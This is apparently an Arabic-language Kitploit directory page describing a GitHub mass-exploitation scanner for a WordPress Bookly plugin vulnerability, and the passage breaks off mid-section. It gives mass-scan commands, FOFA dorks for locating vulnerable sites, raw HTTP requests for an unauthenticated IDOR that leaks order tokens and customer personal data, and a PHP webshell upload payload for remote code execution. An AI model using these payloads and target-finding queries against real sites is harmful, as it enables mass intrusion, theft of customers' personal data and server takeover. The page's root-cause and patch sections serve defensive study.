Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-93399 — ماسح استغلال جماعي بلغة Python للثغرة CVE-2026-93399 في إضافة Bookly لـ WordPress: كشف الإصدار، وتعداد رموز الطلبات عبر IDOR دون مصادقة، واستخراج المعلومات الشخصية (PII)، والتنفيذ عن بُعد عبر webshell (RCE). | Kitploit
أدوات/GitHubGitHub/josemour8/cve-2026-93399
الاستطلاعماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالاستغلال تطبيقات الويبتسريب البياناتأمن الويباختبار الاختراق
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

ماسح استغلال جماعي بلغة Python للثغرة CVE-2026-93399 في إضافة Bookly لـ WordPress: كشف الإصدار، وتعداد رموز الطلبات عبر IDOR دون مصادقة، واستخراج المعلومات الشخصية (PII)، والتنفيذ عن بُعد عبر webshell (RCE).

2منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-93399

Bookly <= 28.2 IDOR غير مُصادَق + تسريب PII + RCE

ماسح استغلال جماعي لـ CVE-2026-93399 (CVSS 9.1 حرج) يؤثر على إضافة WordPress Bookly — Online Scheduling and Appointment Booking System (الإصدارات <= 28.2).

جدول المحتويات

  • نظرة عامة
  • سلسلة الثغرات
  • الإصدارات المتأثرة
  • المتطلبات
  • التثبيت
  • الاستخدام
  • FOFA Dorks
  • مسار الهجوم
  • تنسيق المخرجات
  • التفاصيل التقنية
  • إخلاء المسؤولية
  • الترخيص

نظرة عامة

إضافة Bookly لـ WordPress عرضة لثغرة المرجع المباشر غير الآمن للكائنات (IDOR) عبر إجراءات AJAX التالية: bookly_get_form_id وbookly_render_complete وbookly_add_to_calendar وbookly_rollback_order. جميع الإجراءات غير مُصادَقة (_default => 'anonymous') وحماية CSRF معطّلة (csrfTokenValid() تُرجع true).

يقوم المعالج bookly_get_form_id بتخزين form_data الذي يتحكم به المهاجم (بما في ذلك order_id) بشكل أعمى داخل جلسة حجز جديدة دون أي تحقق. ثم يثق المعالج bookly_render_complete في order_id المحقون هذا للبحث عن الرمز السري للطلب (Order) المقابل وإرجاعه — مما يمكّن المهاجمين غير المُصادَقين من تعداد معرّفات الطلبات المتسلسلة، والكشف عن رموز طلبات عملاء آخرين، واسترداد معلومات التقويم/المواعيد، وحذف أي حجوزات غير مكتملة بشكل دائم.

سلسلة الثغرات

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

الإصدارات المتأثرة

  • المعرّضة للثغرة: Bookly <= 28.2 (جميع الإصدارات حتى 28.2 بما فيها)
  • تم إصلاحها في: 28.3 (أُضيفت قائمة بيضاء _prepareFormData() ومُطهِّر _prepareCartData())

المتطلبات

  • Python 3.8+
  • مكتبة requests
pip install requests

التثبيت

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

الاستخدام

هدف واحد

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

فحص جماعي

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

الخيارات

العَلَمالوصف
-u, --urlعنوان URL هدف واحد
-f, --fileملف يحتوي على عناوين URL للأهداف (واحد في كل سطر)
--detectالتحقق من الإصدار فقط (آمن)
--enumerateIDOR: تسريب رموز الطلبات
--piiاستخراج البيانات الشخصية (PII) عبر تصدير تقويم ICS
--rceمحاولة رفع webshell
--fullالسلسلة الكاملة: IDOR + PII + RCE
--start Nبدء order_id (الافتراضي: 1)
--end Nإنهاء order_id (الافتراضي: 50)
-th, --threads Nعدد الخيوط (الافتراضي: 5)
-o, --output FILEملف الإخراج (الافتراضي: results.txt)
-v, --verboseإظهار جميع المحاولات

FOFA Dorks

العثور على جميع عمليات تثبيت Bookly

body="bookly-responsive-appointment-booking-tool"

البحث عن صفحات Bookly التي تحتوي على نموذج حجز مُصيَّر

body="BooklyL10nGlobal"

خاص بالإصدار (المعرّض للثغرة <= 28.2)

body="bookly-main.css?ver=28.2"

مُجمَّع (أعلى درجة ثقة)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

العثور على الأهداف باستخدام إضافة Files (لـ RCE)

body="bookly-addon-files"

البحث عن الأهداف التي تحتوي على حقل رفع ملفات مُهيأ (قابل لـ RCE)

body="bookly-js-upload"

مسار الهجوم

الخطوة 1: حقن order_id (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

الاستجابة:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

الكود القابل للاستغلال (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

الخطوة 2: تسريب رمز الطلب

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

الاستجابة:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

الكود القابل للاستغلال (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

الخطوة 3: استخراج المعلومات الشخصية (PII) عبر ICS

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

الاستجابة: ملف ICS يحتوي على بيانات العملاء:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

الخطوة 4: RCE (يتطلب إضافة Files)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

موقع Shell: /wp-content/uploads/bookly-files/shell.php

تنسيق المخرجات

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

التفاصيل التقنية

السبب الجذري

يخزّن المعالج getFormId() معامل form_data بالكامل (وهو JSON يتحكم به المستخدم) في قاعدة بيانات الجلسة دون أي قائمة بيضاء أو تنقية. يتيح ذلك للمهاجم حقن مفاتيح جلسة عشوائية، بما في ذلك order_id.

يقرأ المعالج renderComplete() قيمة order_id من الجلسة ويستعلم من جدول Order مباشرةً — دون التحقق من أن الجلسة الحالية هي التي أنشأت ذلك الطلب.

خللان متراكمان

  1. CSRF معطّل — تم تجاوز csrfTokenValid() لتُرجع return true في وحدة الحجز
  2. جميع الإجراءات مجهولة — تُرجع permissions() القيمة array('_default' => 'anonymous')، لذا يسجّل كل معالج كلاً من الخطافين wp_ajax_ وwp_ajax_nopriv_

الإصلاح (28.3)

أضافت النسخة 28.3 الدالة _prepareFormData() — وهي قائمة بيضاء صارمة تُزيل كل شيء عدا إعدادات العرض (skip_service_step، hide_service_part1، hide_service_part2، defaults). كما أضافت _prepareCartData() لتنقية مفاتيح عناصر السلة.

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

متطلبات RCE الأساسية

يتطلب تنفيذ RCE عبر رفع webshell ما يلي:

  1. إضافة Bookly Files مثبّتة ونشطة
  2. حقل مخصص من نوع "file" مُهيّأ في نموذج الحجز
  3. قائمة الامتدادات المسموح بها يجب أن تكون مُهيّأة بشكل خاطئ (فارغة أو متساهلة)

نقطة النهاية AJAX ‏bookly_files_upload غير مُصادَق عليها وتقبل عمليات رفع الملفات متعددة الأجزاء مباشرةً. ومع ذلك، تتحقق إضافة Files من امتدادات الملفات مقابل قائمة مسموح بها. إذا كانت القائمة المسموح بها مُهيّأة بشكل صحيح، فسيتم حظر جميع امتدادات PHP.

حقن الجلسة (مسار RCE بديل)

تنزيل الأداة